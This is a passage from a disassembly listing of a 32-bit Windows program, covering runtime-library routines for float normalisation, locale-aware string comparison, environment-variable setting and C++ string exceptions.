jnz short loc_41FEAC
loc_41FEE4: ; CODE XREF: sub_41FDD0+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41FE90
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41FF27
loc_41FF02: ; CODE XREF: sub_41FDD0+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41FF20
lea eax, [ebp+var_24]
push eax
call sub_41F2E5
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41FF02
loc_41FF20: ; CODE XREF: sub_41FDD0+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41FF60
loc_41FF27: ; CODE XREF: sub_41FDD0+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41FF60
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41FF40: ; CODE XREF: sub_41FDD0+184j
test byte ptr [ebp+var_24], 1
jz short loc_41FF49
inc [ebp+var_14]
loc_41FF49: ; CODE XREF: sub_41FDD0+174j
lea eax, [ebp+var_24]
push eax
call sub_41F313
dec ebx
pop ecx
jnz short loc_41FF40
cmp [ebp+var_14], 0
jz short loc_41FF60
or byte ptr [ebp+var_24], 1
loc_41FF60: ; CODE XREF: sub_41FDD0+155j
; sub_41FDD0+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41FF77
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41FFAC
loc_41FF77: ; CODE XREF: sub_41FDD0+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41FFA9
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41FFA4
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41FF9E
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FF9E: ; CODE XREF: sub_41FDD0+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FFA4: ; CODE XREF: sub_41FDD0+1B5j
inc [ebp+var_20+2]
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FFA9: ; CODE XREF: sub_41FDD0+1ABj
inc [ebp+var_24+2]
loc_41FFAC: ; CODE XREF: sub_41FDD0+1A5j
; sub_41FDD0+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41FFD0
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41FFCA: ; CODE XREF: sub_41FDD0+86j
mov [esi+0Ah], ax
jmp short loc_41FFEB
; ---------------------------------------------------------------------------
loc_41FFD0: ; CODE XREF: sub_41FDD0+42j
; sub_41FDD0+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41FFEB: ; CODE XREF: sub_41FDD0+ABj
; sub_41FDD0+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41FDD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FFF0 proc near ; CODE XREF: sub_41F407+440p
; sub_41F8D8+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43AEE0
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_420069
jge short loc_420018
mov eax, [ebp+arg_4]
mov ebx, offset dword_43B040
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_420018: ; CODE XREF: sub_41FFF0+16j
cmp [ebp+arg_8], ecx
jnz short loc_420023
mov eax, [ebp+arg_0]
mov [eax], cx
loc_420023: ; CODE XREF: sub_41FFF0+2Bj
cmp [ebp+arg_4], ecx
jz short loc_420069
push esi
push edi
loc_42002A: ; CODE XREF: sub_41FFF0+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_420062
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_420055
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_420055: ; CODE XREF: sub_41FFF0+57j
push esi
push [ebp+arg_0]
call sub_41FDD0
pop ecx
pop ecx
xor ecx, ecx
loc_420062: ; CODE XREF: sub_41FFF0+49j
cmp [ebp+arg_4], ecx
jnz short loc_42002A
pop edi
pop esi
loc_420069: ; CODE XREF: sub_41FFF0+14j
; sub_41FFF0+36j
pop ebx
leave
retn
sub_41FFF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42006C proc near ; CODE XREF: sub_41FCDD+5Ep
; sub_420548+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_420079
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420079: ; CODE XREF: sub_42006C+7j
push dword_46CF24
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_46D144
call sub_420119
add esp, 1Ch
test eax, eax
jnz short loc_4200A6
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4200A6: ; CODE XREF: sub_42006C+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_42006C endp
; =============== S U B R O U T I N E =======================================
sub_4200AB proc near ; CODE XREF: sub_41FCDD+1Ep
; sub_4203C1+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_46BB34
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_42010C
mov ebx, dword_421138
loc_4200C4: ; CODE XREF: sub_4200AB+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_420114
push ebp
call sub_415BE9
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_420114
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_420114
push edi
push [esp+18h+var_4]
call sub_4203C1
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_4200C4
loc_42010C: ; CODE XREF: sub_4200AB+11j
xor eax, eax
loc_42010E: ; CODE XREF: sub_4200AB+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420114: ; CODE XREF: sub_4200AB+29j
; sub_4200AB+38j ...
or eax, 0FFFFFFFFh
jmp short loc_42010E
sub_4200AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420119 proc near ; CODE XREF: sub_42006C+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421C50
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_46BDF0, ebx
push 1
pop edi
jnz short loc_42018C
push edi
mov eax, offset dword_4218A0
push eax
push edi
push eax
push ebx
push ebx
call dword_421008 ; CompareStringW
test eax, eax
jz short loc_420169
mov dword_46BDF0, edi
jmp short loc_42018C
; ---------------------------------------------------------------------------
loc_420169: ; CODE XREF: sub_420119+46j
push edi
mov eax, offset dword_43B668
push eax
push edi
push eax
push ebx
push ebx
call dword_42100C ; CompareStringA
test eax, eax
jz loc_420382
mov dword_46BDF0, 2
loc_42018C: ; CODE XREF: sub_420119+31j
; sub_420119+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_4201A3
push esi
push [ebp+arg_8]
call sub_420396
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_4201A3: ; CODE XREF: sub_420119+78j
cmp [ebp+arg_14], ebx
jle short loc_4201B8
push [ebp+arg_14]
push [ebp+arg_10]
call sub_420396
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_4201B8: ; CODE XREF: sub_420119+8Dj
mov eax, dword_46BDF0
cmp eax, 2
jnz short loc_4201DD
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42100C ; CompareStringA
jmp loc_420384
; ---------------------------------------------------------------------------
loc_4201DD: ; CODE XREF: sub_420119+A7j
cmp eax, edi
jnz loc_420382
cmp [ebp+arg_18], ebx
jnz short loc_4201F2
mov eax, dword_46BBAC
mov [ebp+arg_18], eax
loc_4201F2: ; CODE XREF: sub_420119+CFj
cmp esi, ebx
jz short loc_4201FF
cmp [ebp+arg_14], ebx
jnz loc_420297
loc_4201FF: ; CODE XREF: sub_420119+DBj
cmp esi, [ebp+arg_14]
jnz short loc_42020C
loc_420204: ; CODE XREF: sub_420119+13Cj
; sub_420119+16Dj
push 2
loc_420206: ; CODE XREF: sub_420119+146j
pop eax
jmp loc_420384
; ---------------------------------------------------------------------------
loc_42020C: ; CODE XREF: sub_420119+E9j
cmp [ebp+arg_14], edi
jle short loc_420218
loc_420211: ; CODE XREF: sub_420119+151j
; sub_420119+159j ...
mov eax, edi
jmp loc_420384
; ---------------------------------------------------------------------------
loc_420218: ; CODE XREF: sub_420119+F6j
cmp esi, edi
jg short loc_42025D
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_421198 ; GetCPInfo
test eax, eax
jz loc_420382
cmp esi, ebx
jle short loc_420261
cmp [ebp+var_3C], 2
jb short loc_42025D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42025D
loc_420243: ; CODE XREF: sub_420119+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42025D
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_420257
cmp cl, dl
jbe short loc_420204
loc_420257: ; CODE XREF: sub_420119+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_420243
loc_42025D: ; CODE XREF: sub_420119+101j
; sub_420119+120j ...
push 3
jmp short loc_420206
; ---------------------------------------------------------------------------
loc_420261: ; CODE XREF: sub_420119+11Aj
cmp [ebp+arg_14], ebx
jle short loc_420297
cmp [ebp+var_3C], 2
jb short loc_420211
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_420211
loc_420274: ; CODE XREF: sub_420119+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_420211
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_42028C
cmp cl, dl
jbe loc_420204
loc_42028C: ; CODE XREF: sub_420119+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_420274
jmp loc_420211
; ---------------------------------------------------------------------------
loc_420297: ; CODE XREF: sub_420119+E0j
; sub_420119+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_420382
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4202E6
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4202E6: ; CODE XREF: sub_420119+1B5j
cmp [ebp+var_24], ebx
jz loc_420382
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_421064
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_420382
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_420382
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_420351
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_420351: ; CODE XREF: sub_420119+224j
cmp edi, ebx
jz short loc_420382
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_420382
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421008 ; CompareStringW
jmp short loc_420384
; ---------------------------------------------------------------------------
loc_420382: ; CODE XREF: sub_420119+63j
; sub_420119+C6j ...
xor eax, eax
loc_420384: ; CODE XREF: sub_420119+BFj
; sub_420119+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_420119 endp
; =============== S U B R O U T I N E =======================================
sub_420396 proc near ; CODE XREF: sub_41C639+81p
; sub_420119+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4203B3
loc_4203A6: ; CODE XREF: sub_420396+1Bj
cmp byte ptr [eax], 0
jz short loc_4203B3
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4203A6
loc_4203B3: ; CODE XREF: sub_420396+Ej
; sub_420396+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4203BE
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4203BE: ; CODE XREF: sub_420396+21j
mov eax, edx
retn
sub_420396 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203C1 proc near ; CODE XREF: sub_4200AB+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_420425
push 3Dh
push [ebp+arg_0]
call sub_420607
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_420425
cmp [ebp+arg_0], esi
jz short loc_420425
mov eax, dword_46BB2C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_46BB30
jnz short loc_42040B
push eax
call sub_4205A0
pop ecx
mov dword_46BB2C, eax
loc_42040B: ; CODE XREF: sub_4203C1+3Cj
cmp eax, edi
jnz short loc_420463
cmp [ebp+arg_4], edi
jz short loc_42042D
cmp dword_46BB34, edi
jz short loc_42042D
call sub_4200AB
test eax, eax
jz short loc_420463
loc_420425: ; CODE XREF: sub_4203C1+Dj
; sub_4203C1+22j ...
or eax, 0FFFFFFFFh
loc_420428: ; CODE XREF: sub_4203C1+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42042D: ; CODE XREF: sub_4203C1+51j
; sub_4203C1+59j
cmp ebx, edi
jnz loc_420541
push 4
call sub_415BE9
cmp eax, edi
pop ecx
mov dword_46BB2C, eax
jz short loc_420425
mov [eax], edi
cmp dword_46BB34, edi
jnz short loc_420463
push 4
call sub_415BE9
cmp eax, edi
pop ecx
mov dword_46BB34, eax
jz short loc_420425
mov [eax], edi
loc_420463: ; CODE XREF: sub_4203C1+4Cj
; sub_4203C1+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_46BB2C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_420548
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4204C3
cmp dword ptr [edi], 0
jz short loc_4204C3
test ebx, ebx
jz short loc_4204BB
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_415C9B
pop ecx
loc_420495: ; CODE XREF: sub_4203C1+E2j
cmp dword ptr [edi], 0
jz short loc_4204A5
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_420495
; ---------------------------------------------------------------------------
loc_4204A5: ; CODE XREF: sub_4203C1+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41737F
pop ecx
test eax, eax
pop ecx
jz short loc_4204F5
jmp short loc_4204F0
; ---------------------------------------------------------------------------
loc_4204BB: ; CODE XREF: sub_4203C1+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4204F5
; ---------------------------------------------------------------------------
loc_4204C3: ; CODE XREF: sub_4203C1+BDj
; sub_4203C1+C2j
test ebx, ebx
jnz short loc_420541
test esi, esi
jge short loc_4204CD
neg esi
loc_4204CD: ; CODE XREF: sub_4203C1+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41737F
pop ecx
test eax, eax
pop ecx
jz loc_420425
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4204F0: ; CODE XREF: sub_4203C1+F8j
mov dword_46BB2C, eax
loc_4204F5: ; CODE XREF: sub_4203C1+F6j
; sub_4203C1+100j
cmp [ebp+arg_4], 0
jz short loc_420541
push [ebp+arg_0]
call sub_415B10
inc eax
inc eax
push eax
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_420541
push [ebp+arg_0]
push esi
call sub_415A20
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_421004 ; SetEnvironmentVariableA
push esi
call sub_415C9B
pop ecx
loc_420541: ; CODE XREF: sub_4203C1+6Ej
; sub_4203C1+104j ...
xor eax, eax
jmp loc_420428
sub_4203C1 endp
; =============== S U B R O U T I N E =======================================
sub_420548 proc near ; CODE XREF: sub_4203C1+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_46BB2C
push edi
mov eax, [esi]
test eax, eax
jz short loc_420583
mov edi, [esp+8+arg_4]
loc_42055A: ; CODE XREF: sub_420548+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_42006C
add esp, 0Ch
test eax, eax
jnz short loc_420579
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_420593
test al, al
jz short loc_420593
loc_420579: ; CODE XREF: sub_420548+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_42055A
loc_420583: ; CODE XREF: sub_420548+Cj
mov eax, esi
sub eax, dword_46BB2C
sar eax, 2
neg eax
loc_420590: ; CODE XREF: sub_420548+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_420593: ; CODE XREF: sub_420548+2Bj
; sub_420548+2Fj
mov eax, esi
sub eax, dword_46BB2C
sar eax, 2
jmp short loc_420590
sub_420548 endp
; =============== S U B R O U T I N E =======================================
sub_4205A0 proc near ; CODE XREF: sub_4203C1+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_4205AF
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_4205AF: ; CODE XREF: sub_4205A0+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4205C1
loc_4205B7: ; CODE XREF: sub_4205A0+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4205B7
loc_4205C1: ; CODE XREF: sub_4205A0+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4205E2
push 9
call sub_417C0E
pop ecx
loc_4205E2: ; CODE XREF: sub_4205A0+38j
mov eax, [edi]
mov ebx, edi
loc_4205E6: ; CODE XREF: sub_4205A0+5Bj
test eax, eax
jz short loc_4205FD
push eax
add ebx, 4
call sub_42067A
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4205E6
; ---------------------------------------------------------------------------
loc_4205FD: ; CODE XREF: sub_4205A0+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_4205A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420607 proc near ; CODE XREF: sub_4203C1+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_46CF3C, 0
jnz short loc_420622
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416F20
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420622: ; CODE XREF: sub_420607+Aj
mov ecx, [ebp+arg_0]
loc_420625: ; CODE XREF: sub_420607+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_420668
movzx edx, al
test byte_46D041[edx], 4
jz short loc_420654
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_42065F
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_420663
jmp short loc_42065C
; ---------------------------------------------------------------------------
loc_420654: ; CODE XREF: sub_420607+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_420668
loc_42065C: ; CODE XREF: sub_420607+4Bj
inc ecx
jmp short loc_420625
; ---------------------------------------------------------------------------
loc_42065F: ; CODE XREF: sub_420607+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420663: ; CODE XREF: sub_420607+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420668: ; CODE XREF: sub_420607+25j
; sub_420607+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_420607 endp
; =============== S U B R O U T I N E =======================================
sub_42067A proc near ; CODE XREF: sub_4098D4+21p
; sub_4205A0+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4206A1
push esi
call sub_415B10
inc eax
push eax
call sub_415BE9
pop ecx
test eax, eax
pop ecx
jz short loc_4206A1
push esi
push eax
call sub_415A20
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4206A1: ; CODE XREF: sub_42067A+7j
; sub_42067A+1Aj
xor eax, eax
pop esi
retn
sub_42067A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4206B0 proc near ; CODE XREF: sub_404ADF+12p
; sub_404B39+12p ...
mov eax, offset loc_420BA0
call sub_4162F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404CE4
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_415B10
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D1C
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42070A
lea eax, [ebp-3Ch]
push offset dword_421FA8
push eax
mov dword ptr [ebp-3Ch], offset off_421C6C
call sub_420B09
pop esi
sub_4206B0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42070A proc near ; CODE XREF: sub_4206B0+3Fp
; sub_4208DC+3Fp
mov eax, offset loc_420BB4
call sub_4162F0
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_43B658
call sub_420A2E
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_404CE4
push dword_421C98
mov ecx, edi
push 0
push ebx
call sub_404B91
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C8C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_42070A endp
; =============== S U B R O U T I N E =======================================
sub_42076E proc near ; DATA XREF: .text:00421C70o
; .text:00421C90o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_42077A
mov eax, offset dword_421258
locret_42077A: ; CODE XREF: sub_42076E+5j
retn
sub_42076E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42077B proc near ; DATA XREF: .text:00421C94o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4207F1
lea eax, [ebp+var_1C]
push offset dword_422018
push eax
call sub_420B09
sub_42077B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_420798 proc near ; CODE XREF: .text:004207D8p
; DATA XREF: .text:0042201Co
mov eax, offset loc_420BC8
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_420798 endp
; ---------------------------------------------------------------------------
loc_4207D5: ; DATA XREF: .text:off_421C8Co
push esi
mov esi, ecx
call sub_420798
test byte ptr [esp+8], 1
jz short loc_4207EB
push esi
call sub_41630F
pop ecx
loc_4207EB: ; CODE XREF: .text:004207E2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4207F1 proc near ; CODE XREF: sub_42077B+Ap
; sub_4208C4+7p ...
mov eax, offset loc_420BDC
call sub_4162F0
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_420A6B
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_404CE4
push dword_421C98
mov ecx, edi
push 0
push ebx
call sub_404B91
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_421C8C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_4207F1 endp
; =============== S U B R O U T I N E =======================================
sub_42084E proc near ; CODE XREF: sub_42088B+20p
; DATA XREF: .text:00421FACo
mov eax, offset loc_420BF0
call sub_4162F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_421C8C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_420AB5
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_42084E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42088B proc near ; DATA XREF: .text:00421C74o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4208C4
lea eax, [ebp+var_1C]
push offset dword_421FA8
push eax
call sub_420B09
loc_4208A8: ; DATA XREF: .text:off_421C6Co
push esi
mov esi, ecx
call sub_42084E
test [esp+20h+var_18], 1
jz short loc_4208BE
push esi
call sub_41630F
pop ecx
loc_4208BE: ; CODE XREF: sub_42088B+2Aj
mov eax, esi
pop esi
retn 4
sub_42088B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4208C4 proc near ; CODE XREF: sub_42088B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4207F1
mov dword ptr [esi], offset off_421C6C
mov eax, esi
pop esi
retn 4
sub_4208C4 endp
; =============== S U B R O U T I N E =======================================
sub_4208DC proc near ; CODE XREF: sub_404B91+13p
; sub_404D51+Ep
mov eax, offset loc_420C04
call sub_4162F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_404CE4
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_415B10
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_404D1C
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42070A
lea eax, [ebp-3Ch]
push offset dword_4220D0
push eax
